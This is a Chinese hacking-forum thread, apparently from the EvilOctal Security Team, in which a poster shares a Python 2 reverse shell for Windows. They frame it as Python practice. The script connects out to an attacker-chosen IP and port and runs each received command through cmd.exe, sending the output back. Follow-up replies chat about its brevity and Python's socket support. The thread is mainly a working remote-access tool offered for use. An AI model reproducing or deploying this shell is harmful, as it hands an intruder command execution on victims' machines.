发新话题
打印

[原创]python 写的一个反向连接的shell

[原创]python 写的一个反向连接的shell

文章作者:无敌最寂寞[E.S.T]
信息来源:EvilOctal Security Team

最近在复习python,顺便写了一个简单的反向shell。。纯粹是为了练笔。。因为python大部分都存在于linux/unix中,在windows中很少有安装python(尤其是服务器,除非web是python写的)。但我这个shell是一个windows的shell,不过稍加一改就可以在linux/unix下运行了。。。

拿出来怕大家笑话,不过对于那些想学python却还犹豫不决的朋友一个直观的印象吧。。。总之python确实可以称得上世界上最棒的脚本语言,我想它的应用会越来越广泛。。。

下面是代码,高手不要笑我了。。(要知道我能厚者脸皮拿出来,也是经过一番撕心裂肺的斗争的~~:——))
引用:
#!/usr/bin/python

import sys
import os
from socket import *
import string

def usage(name):
     print '\t\tPython connect back shell\n\n'
     print '\t\t    superlone@EST\n\n'
     print &#39;Usage:\n\t %s <connect back ip> <connect back port>\n&#39; % name

if len(sys.argv)==1 or len(sys.argv)>3:
     usage(sys.argv[0])
     sys.exit(0)

conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome=&#39;\t\t[welcome to the way home]\n&#39;

try:
      sock=socket(AF_INET,SOCK_STREAM)
      sock.connect((conIP,conPort))
except:
   print &#39;[-]Socket Error!\n&#39;
   sys.exit(0)

sock.send(welcome)
prompt=&#39;superlone>&#39;
while 1:
   sock.send(prompt)
   while 1:
      data=sock.recv(1024)
      if data:break
   if data[:-1]==&#39;exit&#39;:
     sock.send(&#39;bye bye&#39;)
      sock.close()
      sys.exit(0)
   if data[:-1]==&#39;pwd&#39;:
     sock.send(os.getcwd()+&#39;\n&#39;)
   for i in range(len(data.split())):
     if &#39;cd&#39; in data.split():
          try:
              os.chdir(data.split()[i+1])
          except:
              sock.send(&#39;dir change failed!\n&#39;)

   rpipe=os.popen(&#39;cmd.exe /c &#39;+data[:-1])
   sdata=rpipe.read()
   rpipe.close()
   sock.send(sdata)
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

引用:
要知道我能厚者脸皮拿出来,也是经过一番撕心裂肺的斗争的...
云云..................

说的真够壮烈的 汗ing 但是这个代码很少哟
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

少而精。。。这是脚本语言的普遍特点。。。如果除去一些额外的东西。。也许就只有几行吧。。
脚本语言普遍都是这样的,因为它不需要考虑的东西太多,当然它的不便之处也显而易见---脚本语言都需要解释器的支持。。。。
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

这方面你不能说谁强...每个语言都有实现socket的方法...如果论起方便来,还是python方便了许多...当然,萝卜青菜,各有所爱.不必非要分个高下...喜欢用哪个,就用哪个好了。
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

python我没有接触过
现在看来应该不错,学习

TOP

发新话题